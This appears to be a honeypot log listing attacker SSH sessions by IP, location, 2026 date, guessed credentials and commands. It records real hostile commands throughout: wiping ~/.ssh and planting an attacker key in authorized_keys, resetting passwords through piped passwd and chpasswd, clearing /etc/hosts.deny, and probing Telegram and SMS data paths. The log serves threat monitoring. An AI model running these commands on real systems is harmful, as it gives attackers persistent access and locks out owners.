chattr/lockr applied to .ssh directory โ†’ .ssh directory wiped and recreated โ†’ CPU model enumeration via /proc/cpuinfo โ†’ memory analysis via free -m โ†’ binary integrity check on ls โ†’ persistence audit via crontab โ†’ active session monitoring via w โ†’ process profiling via top
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l ร—2
โ†ณ CPU profiling
$ echo -e "mysql\nosJRGh0NgB26\nosJRGh0NgB26"|passwd|bash
$ Enter new UNIX password: ร—2
$ echo "mysql\nosJRGh0NgB26\nosJRGh0NgB26\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ร—2
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ร—2
$ ls -lh $(which ls) ร—2
$ which ls ร—2
$ crontab -l ร—2
โ†ณ persistence setup
$ w ร—2
โ†ณ logged-in users check
$ uname -m ร—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l ร—2
โ†ณ CPU profiling
$ top ร—2
โ†ณ process monitoring
$ uname ร—2
โ†ณ OS identification
$ uname -a ร—2
โ†ณ OS/kernel identification
$ whoami ร—2
โ†ณ privilege check
$ lscpu | grep Model ร—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ร—2
$ echo -e "asdf1234\nu9Ty23k6Gwkn\nu9Ty23k6Gwkn"|passwd|bash
$ echo "asdf1234\nu9Ty23k6Gwkn\nu9Ty23k6Gwkn\n"|passwd
๐ŸŽญ silent_harbor_root (103.30.40.129) โ€” San Po Kong, Hong Kong ยท 1 session ยท 2 cmds
2026-08-05 15:58 EDT ยท as oracle/Admin@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ glitchy_lantern_root_174 (47.110.136.174) โ€” Hangzhou, China ยท 2 sessions ยท 2 cmds
2026-07-25 07:55 EDT ยท as oracle/123456, pi/raspberry
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ jittery_static_root (41.204.63.118) โ€” Accra, Ghana ยท 1 session ยท 2 cmds
2026-08-05 13:23 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ manic_steppe_root (138.124.77.177) โ€” Kemerovo, Russia ยท 1 session ยท 2 cmds
2026-08-05 13:16 EDT ยท as oracle/changeme
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ restless_spice_root (14.194.125.58) โ€” New Delhi, India ยท 2 sessions ยท 22 cmds
2026-08-02 02:50 EDT ยท as deploy/deploy123, oracle/oracle2024
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "deploy123\nTdEueRFEMO5M\nTdEueRFEMO5M"|passwd|bash
$ Enter new UNIX password:
$ echo "deploy123\nTdEueRFEMO5M\nTdEueRFEMO5M\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ scrappy_silk_root_237 (47.112.7.237) โ€” Shenzhen, China ยท 1 session ยท 1 cmd
2026-08-05 10:39 EDT ยท as mysql/mysql
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ spectral_autobahn_root (164.92.198.229) โ€” Frankfurt am Main, Germany ยท 3 sessions ยท 3 cmds
2026-08-05 09:49 EDT ยท as root/1234, root/123456, root/12345678
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—3
โ†ณ obfuscated system check
๐ŸŽญ sullen_hanbok_root_175 (121.163.179.175) โ€” Namyangju, South Korea ยท 1 session ยท 9 cmds
2026-08-05 09:42 EDT ยท as root/root
SSH brute-force root/root login โ†’ OS fingerprinting via uname -a โ†’ hardware audit with cat /proc/cpuinfo and ifconfig โ†’ Telegram data exfiltration probe (tdata, ttyGSM) โ†’ cryptominer detection via ps grep โ†’ failed payload retrieval via locate โ†’ benign echo command.
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ rabid_lotus_sol (216.10.245.205) โ€” Mumbai, India ยท 2 sessions ยท 22 cmds
2026-08-01 11:29 EDT ยท as mysql/mysql@123, oracle/oracle12
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "mysql@123\ng7qTNWzG8WGF\ng7qTNWzG8WGF"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql@123\ng7qTNWzG8WGF\ng7qTNWzG8WGF\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ sneaky_strudel_root (57.129.15.177) โ€” Frankfurt am Main, Germany ยท 1 session ยท 2 cmds
2026-08-05 06:56 EDT ยท as oracle/Oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ crimson_harbor_root (47.239.216.212) โ€” Hong Kong, Hong Kong ยท 1 session ยท 1 cmd
2026-08-05 05:52 EDT ยท as tomcat/tomcat
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ vapor_kimchi_sol (222.110.147.58) โ€” Seoul, South Korea ยท 2 sessions ยท 22 cmds
2026-07-05 04:26 EDT ยท as mysql/mysql, oracle/1234qwer
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "mysql\nrLmooVx2VhuH\nrLmooVx2VhuH"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql\nrLmooVx2VhuH\nrLmooVx2VhuH\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ arctic_phantom_root (193.163.187.123) โ€” Durrรซs, Albania ยท 2 sessions ยท 18 cmds
2026-07-25 01:03 EDT ยท as root/root
SSH root login via root/root โ†’ network interface audit (ifconfig) โ†’ OS fingerprinting (uname -a, /proc/cpuinfo) โ†’ active cryptominer detection (ps grep) โ†’ Telegram data path reconnaissance (tdata directory listing) โ†’ failed hardware ID lookup (locate) โ†’ benign terminal output verification (echo Hi)
$ /ip cloud print ร—2
$ ifconfig ร—2
โ†ณ network mapping
$ uname -a ร—2
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo ร—2
โ†ณ CPU profiling
$ ps | grep '[Mm]iner' ร—2
$ ps -ef | grep '[Mm]iner' ร—2
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ร—2
$ locate D877F783D5D3EF8Cs ร—2
$ echo Hi | cat -n ร—2
๐ŸŽญ drowsy_k-pop_sol (115.178.75.243) โ€” Gangseo-gu, South Korea ยท 1 session ยท 2 cmds
2026-08-04 22:01 EDT ยท as oracle/oracle12
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rogue_crepe_root (54.38.241.200) โ€” Roubaix, France ยท 1 session ยท 2 cmds
2026-08-04 16:58 EDT ยท as oracle/M3gaP33!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ obsidian_chai_sol (168.144.65.188) โ€” Bengaluru, India ยท 2 sessions ยท 22 cmds
2026-08-04 12:22 EDT ยท as oracle/Oracle2025, sol/123456
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\nug7zMqXuAVGt\nug7zMqXuAVGt"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nug7zMqXuAVGt\nug7zMqXuAVGt\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ rogue_dutch_root (45.148.10.239) โ€” Amsterdam, The Netherlands ยท 59 sessions ยท 59 cmds
2026-06-28 19:17 EDT ยท as admin/123456, admin/admin, admin/admin123
echo
$ echo OK ร—59
๐ŸŽญ rogue_dutch_root_235 (45.153.34.235) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-04 09:32 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 64x across 64 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ jittery_wok_root (120.48.199.28) โ€” Beijing, China ยท 20 sessions ยท 20 cmds
2026-08-04 04:21 EDT ยท as admin/123456, deploy/deploy, deploy/deploy123
Ran uname 62x across 62 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r-m ร—20
๐ŸŽญ savage_tulip_root (91.92.42.7) โ€” Amsterdam, The Netherlands ยท 62 sessions ยท 62 cmds
2026-07-12 05:22 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ listless_lantern_root_183 (8.138.157.183) โ€” Guangzhou, China ยท 1 session ยท 1 cmd
2026-08-04 05:35 EDT ยท as deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ venomous_kimchi_root (14.42.49.70) โ€” Goyang-si, South Korea ยท 1 session ยท 2 cmds
2026-08-04 02:40 EDT ยท as oracle/Oracle2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ brazen_eagle_root (172.252.13.101) โ€” Los Angeles, United States ยท 1 session ยท 2 cmds
2026-08-04 02:19 EDT ยท as oracle/oracle1234!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ obsidian_wraith_root (196.188.116.56) โ€” Addis Ababa, Ethiopia ยท 1 session ยท 19 cmds
2026-08-04 01:42 EDT ยท as root/password
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:Op66Y0WxlS39"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ clandestine_silk_root (120.71.11.120) โ€” Xingfulu, China ยท 1 session ยท 1 cmd
2026-08-04 01:15 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ wily_gaucho_root (190.103.245.130) โ€” San Jose de Feliciano, Argentina ยท 1 session ยท 9 cmds
2026-08-03 22:58 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ rusty_junk_root (154.221.24.224) โ€” Chai Wan, Hong Kong ยท 1 session ยท 20 cmds
2026-08-03 21:09 EDT ยท as sol/123456
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
